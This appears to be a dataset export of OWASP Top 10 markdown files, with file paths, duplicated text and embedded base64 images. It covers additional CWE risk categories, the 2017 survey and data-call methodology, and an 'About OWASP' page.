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)
## Additional Risks To Consider
The Top 10 covers a lot of ground, but there are many other risks you should consider and evaluate in your organization. Some of these have appeared in previous versions of the Top 10, and others have not, including new attack techniques that are being identified all the time. Other important application security risks (ordered by CWE-ID) that you should additionally consider include:
* [CWE-352: Cross-Site Request Forgery (CSRF)](https://cwe.mitre.org/data/definitions/352.html)
* [CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion', 'AppDoS')](https://cwe.mitre.org/data/definitions/400.html)
* [CWE-434: Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html)
* [CWE-451: User Interface (UI) Misrepresentation of Critical Information (Clickjacking and others)](https://cwe.mitre.org/data/definitions/451.html)
* [CWE-601: Unvalidated Forward and Redirects](https://cwe.mitre.org/data/definitions/601.html)
* [CWE-799: Improper Control of Interaction Frequency (Anti-Automation)](https://cwe.mitre.org/data/definitions/799.html)
* [CWE-829: Inclusion of Functionality from Untrusted Control Sphere (3rd Party Content)](https://cwe.mitre.org/data/definitions/829.html)
* [CWE-918: Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)
|
0xd0-about-data.md | ./Top10/2017/en/0xd0-about-data.md | # +Dat Methodology and Data
At the OWASP Project Summit, active participants and community members decided on a vulnerability view, with up to two (2) forward looking vulnerability classes, with ordering defined partially by quantitative data, and partially by qualitative surveys.
## Industry Ranked Survey
For the survey, we collected the vulnerability categories that had been previously identified as being “on the cusp” or were mentioned in feedback to 2017 RC1 on the Top 10 mailing list. We put them into a ranked survey and asked respondents to rank the top four vulnerabilities that they felt should be included in the OWASP Top 10 - 2017. The survey was open from Aug 2 – Sep 18, 2017. 516 responses were collected and the vulnerabilities were ranked.
| Rank | Survey Vulnerability Categories | Score |
| -- | -- | -- |
| 1 | Exposure of Private Information ('Privacy Violation') [CWE-359] | 748 |
| 2 | Cryptographic Failures [CWE-310/311/312/326/327]| 584 |
| 3 | Deserialization of Untrusted Data [CWE-502] | 514 |
| 4 | Authorization Bypass Through User-Controlled Key (IDOR & Path Traversal) [CWE-639] | 493 |
| 5 | Insufficient Logging and Monitoring [CWE-223 / CWE-778]| 440 |
Exposure of Private Information is clearly the highest-ranking vulnerability, but fits very easily as an additional emphasis into the existing **A3:2017-Sensitive Data Exposure**. Cryptographic Failures can fit within Sensitive Data Exposure. Insecure deserialization was ranked at number three, so it was added to the Top 10 as **A8:2017-Insecure Deserialization** after risk rating. The fourth ranked User-Controlled Key is included in **A5:2017-Broken Access Control**; it is good to see it rank highly on the survey, as there is not much data relating to authorization vulnerabilities. The number five ranked category in the survey is Insufficient Logging and Monitoring, which we believe is a good fit for the Top 10 list, which is why it has become **A10:2017-Insufficient Logging & Monitoring**. We have moved to a point where applications need to be able to define what may be an attack and generate appropriate logging, alerting, escalation and response.
## Public Data Call
Traditionally, the data collected and analyzed was more along the lines of frequency data: how many vulnerabilities were found in tested applications. As is well known, tools traditionally report all instances found of a vulnerability and humans traditionally report a single finding with a number of examples. This makes it very difficult to aggregate the two styles of reporting in a comparable manner.
For 2017, the incidence rate was calculated by how many applications in a given data set had one or more of a specific vulnerability type. The data from many larger contributors was provided in two views. The first was the traditional frequency style of counting every instance found of a vulnerability, while the second was the count of applications in which each vulnerability was found in (one or more times). While not perfect, this reasonably allows us to compare the data from Human Assisted Tools and Tool Assisted Humans. The raw data and analysis work is [available in GitHub](https://github.com/OWASP/Top10/tree/master/2017/datacall). We intend to expand on this with additional structure for future versions of the Top 10.
We received 40+ submissions in the call for data, and because many were from the original data call that was focused on frequency, we were able to use data from 23 contributors covering ~114,000 applications. We used a one-year block of time where possible and identified by the contributor. The majority of applications are unique, though we acknowledge the likelihood of some repeat applications between the yearly data from Veracode. The 23 data sets used were either identified as tool assisted human testing or specifically provided incidence rate from human assisted tools. Anomalies in the selected data of 100%+ incidence were adjusted down to 100% max. To calculate the incidence rate, we calculated the percentage of the total applications there were found to contain each vulnerability type. The ranking of incidence was used for the prevalence calculation in the overall risk for ranking the Top 10.
| 4,240 | 0.004051 | # +Dat Methodology and Data
At the OWASP Project Summit, active participants and community members decided on a vulnerability view, with up to two (2) forward looking vulnerability classes, with ordering defined partially by quantitative data, and partially by qualitative surveys.
## Industry Ranked Survey
For the survey, we collected the vulnerability categories that had been previously identified as being “on the cusp” or were mentioned in feedback to 2017 RC1 on the Top 10 mailing list. We put them into a ranked survey and asked respondents to rank the top four vulnerabilities that they felt should be included in the OWASP Top 10 - 2017. The survey was open from Aug 2 – Sep 18, 2017. 516 responses were collected and the vulnerabilities were ranked.
| Rank | Survey Vulnerability Categories | Score |
| -- | -- | -- |
| 1 | Exposure of Private Information ('Privacy Violation') [CWE-359] | 748 |
| 2 | Cryptographic Failures [CWE-310/311/312/326/327]| 584 |
| 3 | Deserialization of Untrusted Data [CWE-502] | 514 |
| 4 | Authorization Bypass Through User-Controlled Key (IDOR & Path Traversal) [CWE-639] | 493 |
| 5 | Insufficient Logging and Monitoring [CWE-223 / CWE-778]| 440 |
Exposure of Private Information is clearly the highest-ranking vulnerability, but fits very easily as an additional emphasis into the existing **A3:2017-Sensitive Data Exposure**. Cryptographic Failures can fit within Sensitive Data Exposure. Insecure deserialization was ranked at number three, so it was added to the Top 10 as **A8:2017-Insecure Deserialization** after risk rating. The fourth ranked User-Controlled Key is included in **A5:2017-Broken Access Control**; it is good to see it rank highly on the survey, as there is not much data relating to authorization vulnerabilities. The number five ranked category in the survey is Insufficient Logging and Monitoring, which we believe is a good fit for the Top 10 list, which is why it has become **A10:2017-Insufficient Logging & Monitoring**. We have moved to a point where applications need to be able to define what may be an attack and generate appropriate logging, alerting, escalation and response.
## Public Data Call
Traditionally, the data collected and analyzed was more along the lines of frequency data: how many vulnerabilities were found in tested applications. As is well known, tools traditionally report all instances found of a vulnerability and humans traditionally report a single finding with a number of examples. This makes it very difficult to aggregate the two styles of reporting in a comparable manner.
For 2017, the incidence rate was calculated by how many applications in a given data set had one or more of a specific vulnerability type. The data from many larger contributors was provided in two views. The first was the traditional frequency style of counting every instance found of a vulnerability, while the second was the count of applications in which each vulnerability was found in (one or more times). While not perfect, this reasonably allows us to compare the data from Human Assisted Tools and Tool Assisted Humans. The raw data and analysis work is [available in GitHub](https://github.com/OWASP/Top10/tree/master/2017/datacall). We intend to expand on this with additional structure for future versions of the Top 10.
We received 40+ submissions in the call for data, and because many were from the original data call that was focused on frequency, we were able to use data from 23 contributors covering ~114,000 applications. We used a one-year block of time where possible and identified by the contributor. The majority of applications are unique, though we acknowledge the likelihood of some repeat applications between the yearly data from Veracode. The 23 data sets used were either identified as tool assisted human testing or specifically provided incidence rate from human assisted tools. Anomalies in the selected data of 100%+ incidence were adjusted down to 100% max. To calculate the incidence rate, we calculated the percentage of the total applications there were found to contain each vulnerability type. The ranking of incidence was used for the prevalence calculation in the overall risk for ranking the Top 10.
|
A00-about-owasp.md | ./Top10/2021/docs/A00-about-owasp.md | # About OWASP
The Open Web Application Security Project (OWASP) is an open community dedicated to enabling organizations to develop, purchase, and maintain applications and APIs that can be trusted.
At OWASP, you'll find free and open:
- Application security tools and standards
- Cutting edge research
- Standard security controls and libraries
- Complete books on application security testing, secure code development, and secure code review
- Presentations and [videos](https://www.youtube.com/user/OWASPGLOBAL)
- [Cheat sheets](https://cheatsheetseries.owasp.org/) on many common topics
- [Chapters meetings](https://owasp.org/chapters/)
- [Events, training, and conferences](https://owasp.org/events/).
- [Google Groups](TBA)
Learn more at: [https://www.owasp.org](https://www.owasp.org).
All OWASP tools, documents, videos, presentations, and chapters are free and open to anyone interested in improving application security.
We advocate approaching application security as a people, process, and technology problem, because the most effective approaches to application security require improvements in these areas.
OWASP is a new kind of organization. Our freedom from commercial pressures allows us to provide unbiased, practical, and cost-effective information about application security.
OWASP is not affiliated with any technology company, although we support the informed use of commercial security technology. OWASP produces many types of materials in a collaborative, transparent, and open way.
The OWASP Foundation is the non-profit entity that ensures the project's long-term success. Almost everyone associated with OWASP is a volunteer, including the OWASP board, chapter leaders, project leaders, and project members. We support innovative security research with grants and infrastructure.
Come join us!
## Copyright and License
![license](assets/license.png)
Copyright © 2003-2023 The OWASP™ Foundation. This document is released under the Creative Commons Attribution Share-Alike 4.0 license. For any reuse or distribution, you must make it clear to others the license terms of this work.
| 2,123 | 0.002028 | # About OWASP
The Open Web Application Security Project (OWASP) is an open community dedicated to enabling organizations to develop, purchase, and maintain applications and APIs that can be trusted.
At OWASP, you'll find free and open:
- Application security tools and standards
- Cutting edge research
- Standard security controls and libraries
- Complete books on application security testing, secure code development, and secure code review
- Presentations and [videos](https://www.youtube.com/user/OWASPGLOBAL)
- [Cheat sheets](https://cheatsheetseries.owasp.org/) on many common topics
- [Chapters meetings](https://owasp.org/chapters/)
- [Events, training, and conferences](https://owasp.org/events/).
- [Google Groups](TBA)
Learn more at: [https://www.owasp.org](https://www.owasp.org).
All OWASP tools, documents, videos, presentations, and chapters are free and open to anyone interested in improving application security.
We advocate approaching application security as a people, process, and technology problem, because the most effective approaches to application security require improvements in these areas.
OWASP is a new kind of organization. Our freedom from commercial pressures allows us to provide unbiased, practical, and cost-effective information about application security.
OWASP is not affiliated with any technology company, although we support the informed use of commercial security technology. OWASP produces many types of materials in a collaborative, transparent, and open way.
The OWASP Foundation is the non-profit entity that ensures the project's long-term success. Almost everyone associated with OWASP is a volunteer, including the OWASP board, chapter leaders, project leaders, and project members. We support innovative security research with grants and infrastructure.
Come join us!
## Copyright and License
![license](data:image/png;base64,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